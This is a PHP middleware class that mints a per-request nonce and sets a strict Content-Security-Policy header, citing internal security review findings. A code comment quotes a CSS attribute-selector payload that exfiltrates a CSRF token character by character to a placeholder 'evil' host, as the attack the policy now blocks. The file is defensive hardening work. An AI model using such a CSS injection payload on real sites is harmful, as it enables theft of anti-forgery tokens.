<?php

declare(strict_types=1);

namespace App\Http;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\MiddlewareInterface;
use Psr\Http\Server\RequestHandlerInterface;

/**
 * Mints a per-request CSP nonce, exposes it on the request attribute
 * for templates, and sets the `Content-Security-Policy` response
 * header so `script-src` can drop `'unsafe-inline'` / `'unsafe-eval'`
 * (closes SEC_REVIEW F24).
 *
 * The nonce is base64 (URL-safe alphabet trimmed of padding) so it
 * fits HTML attributes verbatim. 16 random bytes ≈ 128 bits of entropy.
 *
 * Other security response headers are still set by Caddy (see
 * `ui/docker/Caddyfile`). Only CSP needs to be set here because the
 * nonce changes per request and Caddy can't see that.
 */
final class CspMiddleware implements MiddlewareInterface
{
    public const ATTR_NONCE = 'csp_nonce';

    public function process(ServerRequestInterface $request, RequestHandlerInterface $handler): ResponseInterface
    {
        $nonce = self::generateNonce();
        $response = $handler->handle($request->withAttribute(self::ATTR_NONCE, $nonce));

        return $response->withHeader('Content-Security-Policy', self::policy($nonce));
    }

    public static function generateNonce(): string
    {
        return rtrim(strtr(base64_encode(random_bytes(16)), '+/', '-_'), '=');
    }

    public static function policy(string $nonce): string
    {
        // SEC_REVIEW F62: `style-src` is `'self'` only —
        // `'unsafe-inline'` is gone. With it, an attacker who
        // achieved an HTML-injection (sub-XSS) primitive could
        // write CSS attribute selectors like
        //   input[name=csrf_token][value^="a"] {
        //     background-image: url(//evil/?p=a);
        //   }
        // and exfiltrate the CSRF token char-by-char.
        // The two templates that previously used inline `style="…"`
        // were migrated: `partials/topnav.twig` uses `x-cloak` for
        // the pre-init hide; `pages/ips/detail.twig` buckets the
        // dynamic score-bar width into a `data-score-width`
        // attribute matched by stylesheet rules in
        // `resources/css/app.css`. Both rule sets ship in the
        // bundled `public/assets/app.css`, so `style-src 'self'`
        // covers them.
        return "default-src 'self'; "
            . "script-src 'self' 'nonce-{$nonce}'; "
            . "style-src 'self'; "
            . "img-src 'self' data:; "
            . "font-src 'self' data:; "
            . "connect-src 'self'; "
            . "frame-ancestors 'none'; "
            . "base-uri 'self'; "
            . "form-action 'self'";
    }
}
